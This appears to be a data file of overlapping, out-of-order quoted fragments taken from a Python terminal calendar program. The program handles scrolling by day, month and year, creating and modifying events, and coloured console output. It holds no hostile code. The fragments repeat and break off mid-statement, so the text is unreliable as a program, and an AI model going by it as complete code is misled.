"the event to be {Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new event",
"item is not an empty dict, don't pop this, or parents if not",
"a valid scroll based command \"\"\" cmd = usr_input[0] if len(usr_input) > 1:",
"import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print a calendar to the terminal/console output",
"Args: calendar_date : date to be used for indexing name : optional. Tacked",
"bg=\"red\") if days > num_days: entry = \" \" cal_string += entry cal_string",
"if nested_dict == {}: return True # indicates whether this dict/sub_dict should be",
"To scroll to the previous year enter : {BACKWARD}{YEAR} To scroll to a",
"+= f\"\\t\\t{month} : \" + \"{\\n\" for day, names in days.items(): prnt +=",
"> num_days: entry = \" \" cal_string += entry cal_string += \"\\n\" print(cal_string)",
"str, txt: str = \"normal\", bg: str = \"normal\") -> str: \"\"\" turns",
"BACKWARD = \"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW =",
"or scroll around in time \"\"\" command_ms = \"Welcome to the calendar, what",
"months.items(): prnt += f\"\\t\\t{month} : \" + \"{\\n\" for day, names in days.items():",
"day enter : {FORWARD}{DAY} TO scroll to the previous day enter : {BACKWARD}{DAY}",
"indicating color of text bg : string indicating color of background Returns: beautified",
"us a name for the event : \") else: usr_args = usr_args.split(\"-\")[:2] calendar_date",
"user_input = input(command_ms) for ignore in ignores: user_input = user_input.replace(ignore, \"\") try: cmd",
"get_event(self, calendar_date: DateTypes, name: str) -> Event: \"\"\" Gets an event from a",
"Returns: beautified message \"\"\" txt_colors = { \"black\": \"30\", \"red\": \"31\", \"green\": \"32\",",
"else: usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >= 2: name =",
"== self.today.day: entry = color_entry(entry, txt=\"green\") if days == self.today.day and days not",
"READ: \"Read\" } # utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP = \"H\" ALL",
"name = input(f\"What is the name of the event to be {Calendar.VERB[cmd]}\") if",
"subdicts Believe it or not this works. Checkout the Calendar testing ipython notebook.",
"+= entry cal_string += \"\\n\" print(cal_string) if __name__ == '__main__': cal = Calendar()",
"cal_string = \"\" # Print month and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} :",
"\"normal\") -> str: \"\"\" turns message into a colorful version of itself Args:",
"\"{\\n\" for year, months in self.events.items(): prnt += f\"\\t{year} : \" + \"{\\n\"",
"= \"N\" MODIFY = \"C\" READ = \"R\" EVENTS = [NEW, MODIFY, READ]",
"str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name: str) -> Event: \"\"\" Gets an",
"days > num_days: entry = \" \" cal_string += entry cal_string += \"\\n\"",
"return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name: str = None): \"\"\" Args: calendar_date",
"\") def update_event(self, modified_event: Event, old_date: DateTypes, old_name: str): \"\"\" Checks event after",
"KeyError: ev = None return ev def find_events(self, calendar_date: DateTypes) -> Dict: \"\"\"",
"\"blue\": f\"{34 + 10}\", \"purple\": f\"{35 + 10}\", \"cyan\": f\"{36 + 10}\", \"white\":",
"elif cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not a valid command, please",
"1: \"January\", 2: \"February\", 3: \"March\", 4: \"April\", 5: \"May\", 6: \"June\", 7:",
"\"Y\" EVENT = \"E\" INDICATORS = [DAY, MONTH, YEAR, EVENT] MONTHS = {",
"1: usr_args = usr_input[1:] else: usr_args = None if usr_args is None: calendar_date",
"event : \") else: break description = input(\"Give us a brief description of",
"Do you wish to overwrite it? (Y/n) : \" f\"Other event : {self.get_event(calendar_date,",
"name of that event \"\"\" while name in self.find_events(calendar_date).keys(): overwrite = input( f\"Another",
"prnt += f\"\\t\\t\\t{day} : \" + \"{\\n\" for name, ev in names.items(): ev_str",
"self.today.day) elif usr_ind == self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll",
"to input some number of possible commands to: * scroll from month to",
"usr_input[1:] else: usr_args = None if usr_args is None: calendar_date = prompt_user_date(\"Lets get",
"\"D\" MONTH = \"M\" YEAR = \"Y\" EVENT = \"E\" INDICATORS = [DAY,",
"= Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *= pop_that return pop_this @staticmethod def ind_from_date(calendar_date:",
"command, please input a valid command\\ {self.MENU_STRING}\") # MainError is just an indicator",
"name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name: str) ->",
"\"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to",
"+ 10}\", \"purple\": f\"{35 + 10}\", \"cyan\": f\"{36 + 10}\", \"white\": f\"{30 +",
"name is not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month),",
"monthly_events: entry = color_entry(entry, bg=\"red\") if days == self.today.day and days in monthly_events:",
"self.today.month, self.today.day+sgn) else: # Scroll by month is default self.today = date(self.today.year, self.today.month+sgn,",
"8: \"August\", 9: \"September\", 10: \"October\", 11: \"November\", 12: \"December\" } MENU_STRING =",
"\"F\" BACKWARD = \"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW",
"event based command \"\"\" cmd = usr_input[0] if len(usr_input) > 1: usr_args =",
"cmd in self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not",
"to the the next month enter : {FORWARD}{MONTH} To scroll to the previous",
"user_input.replace(ignore, \"\") try: cmd = user_input[0].upper() except IndexError: continue try: if cmd ==",
"pop_that: nested_dict.pop(key) pop_this *= pop_that return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name: str",
"that occur on calendar_date and returns them Args: calendar_date : date or datetime",
"name, description, ) else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, prompt_user_time(\"What time",
"name and a date Args: calendar_date : date of the event name :",
"date for the event\") name = input(\"Give us a name for the event",
"input(\"The event you described does not exist. Back to main menu \") def",
"\" f\"Other event : {self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper() != \"N\" if",
"main menu \") def update_event(self, modified_event: Event, old_date: DateTypes, old_name: str): \"\"\" Checks",
"[\" \", \"\\n\"] while True: self.print_calendar() user_input = input(command_ms) for ignore in ignores:",
"time \"\"\" command_ms = \"Welcome to the calendar, what would you like to",
"name : optional. Tacked on to return if included Returns: year (int), month",
"format> To create an event enter : {NEW} <date in yyyy/mm/dd format> -",
"\"cyan\": \"36\", \"white\": \"37\", \"normal\": 1 } bg_colors = { \"black\": f\"{37+10}\", \"red\":",
"# Find number of days in month num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events",
": \" + \"{\\n\" for day, names in days.items(): prnt += f\"\\t\\t\\t{day} :",
"= {} return daily_events def add_event(self, calendar_date: DateTypes, name: str): \"\"\" Adds an",
"} } } \"\"\" self.events = benedict() self.today = date.today() def command_loop(self): \"\"\"",
") else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, prompt_user_time(\"What time do you",
"[\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar commands ============================================================================ # scroll",
"6: \"June\", 7: \"July\", 8: \"August\", 9: \"September\", 10: \"October\", 11: \"November\", 12:",
"cmd == self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event",
"\"\"\" self.events = benedict() self.today = date.today() def command_loop(self): \"\"\" Main loop of",
"\" + \"{\\n\" for day, names in days.items(): prnt += f\"\\t\\t\\t{day} : \"",
"and i < first_day: entry = \" \" else: days += 1 entry",
"an event from a name and a date Args: calendar_date : date of",
"calendar! To scroll to the next day enter : {FORWARD}{DAY} TO scroll to",
"+= 1 entry = f\"{days:2} \" if days in monthly_events and not days",
"ignore in ignores: user_input = user_input.replace(ignore, \"\") try: cmd = user_input[0].upper() except IndexError:",
"1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day of the week the",
"cmd == self.FORWARD: sgn = 1 else: sgn = -1 if usr_args is",
"week the month started on first_day = date(self.today.year, self.today.month, 1).weekday() # Find number",
"= \" \" else: days += 1 entry = f\"{days:2} \" if days",
"on calendar_date and returns them Args: calendar_date : date or datetime object where",
"] = modified_event def print_all_events(self): prnt = \"{\\n\" for year, months in self.events.items():",
"{ name(str) : (Event) } } } } \"\"\" self.events = benedict() self.today",
"a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, )",
"\"yellow\": f\"{33 + 10}\", \"blue\": f\"{34 + 10}\", \"purple\": f\"{35 + 10}\", \"cyan\":",
"txt: str = \"normal\", bg: str = \"normal\") -> str: \"\"\" turns message",
"{FORWARD}{YEAR} To scroll to the previous year enter : {BACKWARD}{YEAR} To scroll to",
"list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *= pop_that return pop_this @staticmethod",
"not isinstance(nested_dict, dict): return False # if lowest level item is an empty",
"\"{\\n\" for month, days in months.items(): prnt += f\"\\t\\t{month} : \" + \"{\\n\"",
"item is an empty dict, pop this from the parent and clean up",
"= input( f\"Another event is named {name} on that date. Do you wish",
"sgn = 1 else: sgn = -1 if usr_args is not None: usr_ind",
"set?\") ) def print_calendar(self): \"\"\" Prints a calendar to the terminal or command",
"def print_calendar(self): \"\"\" Prints a calendar to the terminal or command for the",
"the next year enter : {FORWARD}{YEAR} To scroll to the previous year enter",
"print all events enter : {ALL} (To continue Press enter) \"\"\" def __init__(self):",
"= True for key, sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key)",
"user and edit self.events dict Args: usr_input : string input by the user.",
"event is named {name} on that date. Do you wish to overwrite it?",
"{self.MENU_STRING}\") # MainError is just an indicator that user wants to try and",
"len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args = None if cmd ==",
"Event( calendar_date, name, description, prompt_user_time(\"What time do you want to set?\") ) def",
": \" ignores = [\" \", \"\\n\"] while True: self.print_calendar() user_input = input(command_ms)",
"days = 0 while days < num_days: for i, day in enumerate(self.WEEKDAYS): if",
"input( f\"Another event is named {name} on that date. Do you wish to",
"= [DAY, MONTH, YEAR, EVENT] MONTHS = { 1: \"January\", 2: \"February\", 3:",
"Constructor for the Calendar Stores events as a nested dictionary with dates as",
"To scroll to the next day enter : {FORWARD}{DAY} TO scroll to the",
"to the previous day enter : {BACKWARD}{DAY} To scroll to the the next",
"<date in yyyy/mm/dd format> - <name> To print all events enter : {ALL}",
"dict/sub_dict should be \"popped\" (cleaned up) pop_this = True for key, sub_dict in",
"there are none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {}",
"f\"\\t{year} : \" + \"{\\n\" for month, days in months.items(): prnt += f\"\\t\\t{month}",
"\"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL",
"prnt += f\"\\t{year} : \" + \"{\\n\" for month, days in months.items(): prnt",
"and make the correct call to print_calendar() Args: usr_input : string input by",
"{self.get_event(calendar_date, name)}\") if cmd == self.MODIFY or cmd == self.READ: if name in",
"enter : {BACKWARD}{YEAR} To scroll to a date enter : {SCROLL} <date in",
"Back to main menu \") def update_event(self, modified_event: Event, old_date: DateTypes, old_name: str):",
"on certain days \"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\" Calendar",
"prnt += \"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans",
"or not this works. Checkout the Calendar testing ipython notebook. \"\"\" # if",
"days not in monthly_events: entry = color_entry(entry, bg=\"red\") if days == self.today.day and",
"do? \\n\" command_ms += \"(Q to quit, H for help) : \" ignores",
"months in self.events.items(): prnt += f\"\\t{year} : \" + \"{\\n\" for month, days",
"ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev = None return ev def find_events(self,",
"the event name : name of the event: Returns: The event found. Or",
"def find_events(self, calendar_date: DateTypes) -> Dict: \"\"\" finds all events that occur on",
"f\"\"\" Here's how to use the calendar! To scroll to the next day",
"usr_args = usr_input[1:] else: usr_args = None if usr_args is None: calendar_date =",
"day in enumerate(self.WEEKDAYS): if days == 0 and i < first_day: entry =",
"days \"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\" Calendar class to",
"DateTypes, old_name: str): \"\"\" Checks event after it's been modified and rewrites it",
"num_days: entry = \" \" cal_string += entry cal_string += \"\\n\" print(cal_string) if",
": date of the event name : name of the event: Returns: The",
"command for the month which contains day. \"\"\" def color_entry(message: str, txt: str",
"or cmd == self.BACKWARD: # Move forward of backward if cmd == self.FORWARD:",
"Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print a calendar to the terminal/console",
"days < num_days: for i, day in enumerate(self.WEEKDAYS): if days == 0 and",
"pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def print_all_events(self):",
"Prompts the user to input commands to modify the calendar or scroll around",
"\"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY",
"month which contains day. \"\"\" def color_entry(message: str, txt: str = \"normal\", bg:",
"= usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args) >= 2: name = usr_args[1] else:",
"year (int), month (int), day (int), name (str) \"\"\" if name is not",
"cmd = user_input[0].upper() except IndexError: continue try: if cmd == self.QUIT: break elif",
"self.get_event(old_date, old_name) if new_ev != old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events)",
"new_ev != old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name)",
"1 } bg_colors = { \"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\": f\"{32",
"\"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\": 1 } bg_colors =",
"ev = None return ev def find_events(self, calendar_date: DateTypes) -> Dict: \"\"\" finds",
"cmd == self.BACKWARD: # Move forward of backward if cmd == self.FORWARD: sgn",
"== self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event :",
"that event \"\"\" while name in self.find_events(calendar_date).keys(): overwrite = input( f\"Another event is",
"monthly_events] except KeyError: monthly_events = [] cal_string = \"\" # Print month and",
"day enter : {BACKWARD}{DAY} To scroll to the the next month enter :",
"= list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for dy in monthly_events] except KeyError: monthly_events",
"= prompt_user_date(\"Lets get a date for the event\") name = input(\"Give us a",
"Calendar Stores events as a nested dictionary with dates as keys, lastly with",
"scroll to the previous year enter : {BACKWARD}{YEAR} To scroll to a date",
"import date, datetime from calendar import monthrange import os from typing import TypeVar,",
"monthly_events and not days == self.today.day: entry = color_entry(entry, txt=\"green\") if days ==",
"self.today = date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input: str): \"\"\" parse event commands",
"scroll from month to month * make, read, and modify events on certain",
"return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date:",
"name)) else: input(\"The event you described does not exist. Back to main menu",
"string indicating color of background Returns: beautified message \"\"\" txt_colors = { \"black\":",
"events that occur on calendar_date and returns them Args: calendar_date : date or",
"self.ALL: self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input) else:",
"in self.find_events(calendar_date).keys(): overwrite = input( f\"Another event is named {name} on that date.",
"commands to: * scroll from month to month * make, read, and modify",
"in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not a valid command, please input a",
"event name : name of that event \"\"\" while name in self.find_events(calendar_date).keys(): overwrite",
"try: if cmd == self.QUIT: break elif cmd == self.HELP: input(self.MENU_STRING) elif cmd",
"time do you want to set?\") ) def print_calendar(self): \"\"\" Prints a calendar",
"4: \"April\", 5: \"May\", 6: \"June\", 7: \"July\", 8: \"August\", 9: \"September\", 10:",
": { month(str) : { day(str) : { name(str) : (Event) } }",
"\"March\", 4: \"April\", 5: \"May\", 6: \"June\", 7: \"July\", 8: \"August\", 9: \"September\",",
"our calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] #",
"dictionary of events occurring on that day, empty dict if there are none",
"3: \"March\", 4: \"April\", 5: \"May\", 6: \"June\", 7: \"July\", 8: \"August\", 9:",
"= date(self.today.year, self.today.month, 1).weekday() # Find number of days in month num_days =",
"calendar_date, name) input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The event you",
": string input by the user. Should be led by a valid scroll",
"name)}\") if cmd == self.MODIFY or cmd == self.READ: if name in self.find_events(calendar_date).keys():",
"= calendar_date elif cmd == self.FORWARD or cmd == self.BACKWARD: # Move forward",
"date enter : {SCROLL} <date in yyyy/mm/dd format> To create an event enter",
"ev in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\"",
"for month, days in months.items(): prnt += f\"\\t\\t{month} : \" + \"{\\n\" for",
"calendar import monthrange import os from typing import TypeVar, Tuple from benedict import",
"= usr_input[1:] else: usr_args = None if usr_args is None: calendar_date = prompt_user_date(\"Lets",
"them Args: calendar_date : date or datetime object where we're looking for events",
"events in our calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\",",
"to the next year enter : {FORWARD}{YEAR} To scroll to the previous year",
": {FORWARD}{DAY} TO scroll to the previous day enter : {BACKWARD}{DAY} To scroll",
"entry = color_entry(entry, txt=\"green\", bg=\"red\") if days > num_days: entry = \" \"",
"\"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to remove empty dicts",
"modified_event.name) ] = modified_event def print_all_events(self): prnt = \"{\\n\" for year, months in",
"itself Args: message : message to be beautified txt : string indicating color",
"> 1: usr_args = usr_input[1:] else: usr_args = None if usr_args is None:",
"Args: calendar_date : date of the event name : name of the event:",
"name = input(f\"Please enter a new name for the event : \") else:",
"events : dictionary of events occurring on that day, empty dict if there",
"self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind == self.DAY: self.today = date(self.today.year, self.today.month,",
"self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {} return daily_events def add_event(self, calendar_date: DateTypes, name:",
"= [\" \", \"\\n\"] while True: self.print_calendar() user_input = input(command_ms) for ignore in",
"format> - <name> To read an event enter : {READ} <date in yyyy/mm/dd",
"== self.SCROLL: calendar_date = parse_user_date(usr_args) self.today = calendar_date elif cmd == self.FORWARD or",
"= self.get_event(old_date, old_name) if new_ev != old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str)",
"To create an event enter : {NEW} <date in yyyy/mm/dd format> - <name>",
"cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not a valid command, please input",
"-------------------------------------------------------------------------------------- QUIT = \"Q\" HELP = \"H\" ALL = \"A\" UTIL = [QUIT,",
"= None): \"\"\" Args: calendar_date : date to be used for indexing name",
"usr_input: str): \"\"\" parse event commands from the user and edit self.events dict",
"usr_args if usr_ind == self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind ==",
"(str) \"\"\" if name is not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else:",
"\" \" else: days += 1 entry = f\"{days:2} \" if days in",
"month is default self.today = date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input: str): \"\"\"",
"\"\"\" cmd = usr_input[0] if len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args",
"next day enter : {FORWARD}{DAY} TO scroll to the previous day enter :",
"date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input: str): \"\"\" parse event commands from the",
"days += 1 entry = f\"{days:2} \" if days in monthly_events and not",
"else: name = input(f\"What is the name of the event to be {Calendar.VERB[cmd]}\")",
"which day of the week the month started on first_day = date(self.today.year, self.today.month,",
"FORWARD = \"F\" BACKWARD = \"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD] # Event",
"2: name = usr_args[1] else: name = input(f\"What is the name of the",
"and a date Args: calendar_date : date of the event name : name",
"calendar Args: calendar_date : date of the new event name : name of",
"len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args = None if usr_args is",
"Tuple from benedict import benedict from Events import Event from CalendarErrors import BreakoutError,",
"\"May\", 6: \"June\", 7: \"July\", 8: \"August\", 9: \"September\", 10: \"October\", 11: \"November\",",
"input(\"Do you wish to specify a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] =",
"entry = color_entry(entry, bg=\"red\") if days == self.today.day and days in monthly_events: entry",
"H for help) : \" ignores = [\" \", \"\\n\"] while True: self.print_calendar()",
"monthly_events = [] cal_string = \"\" # Print month and year cal_string +=",
"calendar_date : date to be used for indexing name : optional. Tacked on",
"SCROLLING = [SCROLL, FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY =",
"in self.WEEKDAYS: cal_string += f\"{day} \" cal_string += \"\\n\" days = 0 while",
"{ NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\" } # utility -------------------------------------------------------------------------------------- QUIT =",
"None: usr_ind = usr_args[0].upper() else: usr_ind = usr_args if usr_ind == self.YEAR: self.today",
"Should print a calendar to the terminal/console output and prompt the user to",
"day(str) : { name(str) : (Event) } } } } \"\"\" self.events =",
"\"\"\" turns message into a colorful version of itself Args: message : message",
"the event : \") else: usr_args = usr_args.split(\"-\")[:2] calendar_date = parse_user_date(usr_args[0]) if len(usr_args)",
"color of text bg : string indicating color of background Returns: beautified message",
"if days > num_days: entry = \" \" cal_string += entry cal_string +=",
"continue def scroll(self, usr_input: str): \"\"\" parse scroll commands from the user and",
"\"\\n\" days = 0 while days < num_days: for i, day in enumerate(self.WEEKDAYS):",
"an event enter : {MODIFY} <date in yyyy/mm/dd format> - <name> To read",
"named {name} on that date. Do you wish to overwrite it? (Y/n) :",
"the event\") name = input(\"Give us a name for the event : \")",
"and days not in monthly_events: entry = color_entry(entry, bg=\"red\") if days == self.today.day",
"or parents if not isinstance(nested_dict, dict): return False # if lowest level item",
"input commands to modify the calendar or scroll around in time \"\"\" command_ms",
"update_event(self, modified_event: Event, old_date: DateTypes, old_name: str): \"\"\" Checks event after it's been",
"else: break description = input(\"Give us a brief description of the event :",
"overwrite: name = input(f\"Please enter a new name for the event : \")",
"i, day in enumerate(self.WEEKDAYS): if days == 0 and i < first_day: entry",
"= self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name) if new_ev != old_ev: input(\"General Kenobi\")",
"name) input(f\"new event created {self.get_event(calendar_date, name)}\") if cmd == self.MODIFY or cmd ==",
"= \"A\" UTIL = [QUIT, HELP, ALL] COMMANDS = SCROLLING + EVENTS +",
"rewrites it to the dict with updated indeces \"\"\" input(\"Hello There\") new_ev =",
"if name is not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year),",
"bg: str = \"normal\") -> str: \"\"\" turns message into a colorful version",
"command \"\"\" cmd = usr_input[0] if len(usr_input) > 1: usr_args = usr_input[1:] else:",
"pop_this *= pop_that return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name: str = None):",
"\"Made\", MODIFY: \"Modified\", READ: \"Read\" } # utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP",
"[QUIT, HELP, ALL] COMMANDS = SCROLLING + EVENTS + UTIL # indicators -----------------------------------------------------------------------------------",
"{ day(str) : { name(str) : (Event) } } } } \"\"\" self.events",
"\"August\", 9: \"September\", 10: \"October\", 11: \"November\", 12: \"December\" } MENU_STRING = f\"\"\"",
"be beautified txt : string indicating color of text bg : string indicating",
"\"A\" UTIL = [QUIT, HELP, ALL] COMMANDS = SCROLLING + EVENTS + UTIL",
"self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def print_all_events(self): prnt = \"{\\n\" for year,",
"to the terminal or command for the month which contains day. \"\"\" def",
"in self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date,",
"= input(command_ms) for ignore in ignores: user_input = user_input.replace(ignore, \"\") try: cmd =",
"def print_all_events(self): prnt = \"{\\n\" for year, months in self.events.items(): prnt += f\"\\t{year}",
"of the event name : name of the event: Returns: The event found.",
"= { \"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\": f\"{32 + 10}\", \"yellow\":",
"wish to specify a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date,",
"+ 10}\", \"cyan\": f\"{36 + 10}\", \"white\": f\"{30 + 10}\", \"normal\": 1 }",
"date of the event name : name of the event: Returns: The event",
"name of the event: Returns: The event found. Or None if none are",
"or cmd == self.READ: if name in self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event",
"1: usr_args = usr_input[1:] else: usr_args = None if cmd == self.SCROLL: calendar_date",
"# indicates whether this dict/sub_dict should be \"popped\" (cleaned up) pop_this = True",
"f\"{34 + 10}\", \"purple\": f\"{35 + 10}\", \"cyan\": f\"{36 + 10}\", \"white\": f\"{30",
"= Event( calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name,",
"scroll commands from the user and make the correct call to print_calendar() Args:",
"usr_input[0] if len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args = None if",
"10: \"October\", 11: \"November\", 12: \"December\" } MENU_STRING = f\"\"\" Here's how to",
"to: * scroll from month to month * make, read, and modify events",
"f\"Another event is named {name} on that date. Do you wish to overwrite",
"elif cmd == self.ALL: self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input) elif cmd in",
"\"\") try: cmd = user_input[0].upper() except IndexError: continue try: if cmd == self.QUIT:",
"cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date, name)}\") if cmd ==",
"name : name of that event \"\"\" while name in self.find_events(calendar_date).keys(): overwrite =",
"\"\"\" txt_colors = { \"black\": \"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\":",
"= f\"\"\" Here's how to use the calendar! To scroll to the next",
"in monthly_events] except KeyError: monthly_events = [] cal_string = \"\" # Print month",
"+= \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\"",
"by a valid scroll based command \"\"\" cmd = usr_input[0] if len(usr_input) >",
"cal_string += \"\\n\" days = 0 while days < num_days: for i, day",
"10}\", \"white\": f\"{30 + 10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find",
"month and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) # Print",
"name)] except KeyError: ev = None return ev def find_events(self, calendar_date: DateTypes) ->",
"\"34\", \"purple\": \"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\": 1 } bg_colors = {",
"str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name: str) -> Event: \"\"\" Gets",
"None): \"\"\" Args: calendar_date : date to be used for indexing name :",
"input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The event you described does",
"commands from the user and make the correct call to print_calendar() Args: usr_input",
"to set?\") ) def print_calendar(self): \"\"\" Prints a calendar to the terminal or",
"day in self.WEEKDAYS: cal_string += f\"{day} \" cal_string += \"\\n\" days = 0",
"days == self.today.day and days in monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\") if",
"= color_entry(entry, txt=\"green\", bg=\"red\") if days > num_days: entry = \" \" cal_string",
"\"\"\" Recursively cleans nested_dict to remove empty dicts and subdicts Believe it or",
"parse_user_date(usr_args[0]) if len(usr_args) >= 2: name = usr_args[1] else: name = input(f\"What is",
"calendar or scroll around in time \"\"\" command_ms = \"Welcome to the calendar,",
"+= f\"\\t{year} : \" + \"{\\n\" for month, days in months.items(): prnt +=",
"usr_args is None: calendar_date = prompt_user_date(\"Lets get a date for the event\") name",
"scroll to a date enter : {SCROLL} <date in yyyy/mm/dd format> To create",
"== self.today.day and days in monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\") if days",
": optional. Tacked on to return if included Returns: year (int), month (int),",
"self.update_event(mod_event, calendar_date, name) input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The event",
